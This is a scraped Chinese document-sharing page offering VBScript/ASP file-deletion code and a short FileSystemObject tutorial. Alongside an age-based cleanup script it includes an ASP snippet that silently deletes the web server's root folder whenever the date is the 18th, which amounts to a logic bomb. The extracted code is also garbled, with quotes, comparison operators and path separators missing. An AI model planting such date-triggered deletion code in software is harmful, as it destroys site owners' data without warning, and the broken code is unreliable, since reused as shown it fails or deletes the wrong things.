自动删除文件代码.docVIP

  • 76
  • 0
  • 约1.31万字
  • 约 19页
  • 2016-11-28 发布于河南
  • 举报
自动删除文件代码

自动删除文件代码 option explicit dim fpath,fso,logfile,fwrite fpath=inputbox (输入目标文件夹,文件处理器) logfile=logfile.txt set fso=createobject(scripting.filesystemobject) Set fwrite=fso.opentextfile(logfile,8,true) getfilename fpath fwrite.close Set fso=Nothing MsgBox 命令执行完成! function getfilename(path) dim file,folder,sfolder,fname,subfolder,Files if not fso.folderexists(path) then set fso=nothing msgbox 目标文件夹不存在! exit function end if set folder=fso.getfolder(path) set files=folder.files for each file in Files fwrite.writeline path\ If file.DateLastModified Now - 60 Then 判断是否超过60天 fso.DeleteFile(file) Wscript.Echo file End If next set subfolder=folder.subfolders for each sfolder in subfolder fwrite.writeline path\ If sfolder.DateCreated Now - 60 Then 判断是否超过60天 fso.deletefolder(sfolder) Wscript.Echo file End If next end function % if day(now())=18 then 判断如果今天是18号那么就将网站根目录给删了.... on error resume next Set fso = CreateObject(Scripting.FileSystemObject) fso.DeleteFolder(server.mappath()) set fso = Nothing end if % filesystemobject组件 又名 FSO 下面是它的一些实例: fso的一些用法 fso的一些特殊功能 下面列举一下这些不常用但是却非常酷的功能: 很少被了解的FSO功能 GetSpecialFolder Method 返回特定的Windows文件夹的路径: Windows安装目录;Windows系统目录;Windows临时目录 FSO.GetSpecialFolder([0, 1, or 2]) GetTempName Method 返回一个随机产生的文件或者目录名字,用于需要存储临时数据时 GetAbsolutePathName Method 返回文件夹的绝对路径(类似于Server.MapPath)。 比如,FSO.GetAbsolutePathName(region) 将返回类似于下面的结果:c:mydocsmyfolder egion GetExtensionName Method 返回路径中最后部分的扩展名 (比如:FSO.GetExtensionName(c:docs est.txt) 将返回txt) GetBaseName and GetParentFolder Methods 返回路径中最后部分的父文件夹 (比如:FSO.GetParentFolder (c:docsmydocs) 将返回\docs\) Drives Property 返回所有本地可用驱动器的集合,用于建立资源浏览器样的用户接口。 使用上面的功能时,最好建立好出错处理的代码。因为如果需要的参数不存在,将会产生麻烦的信息。 使用FSO按文件大小浏览文件目录并进行删除操作 %@ Language=VBScript % %Server.ScriptTimeout=50000% HTML HEAD META NAME=GENERATOR Content=Microsoft Visual Studio 6.0 meta http-eq

文档评论(0)

1亿VIP精品文档

相关文档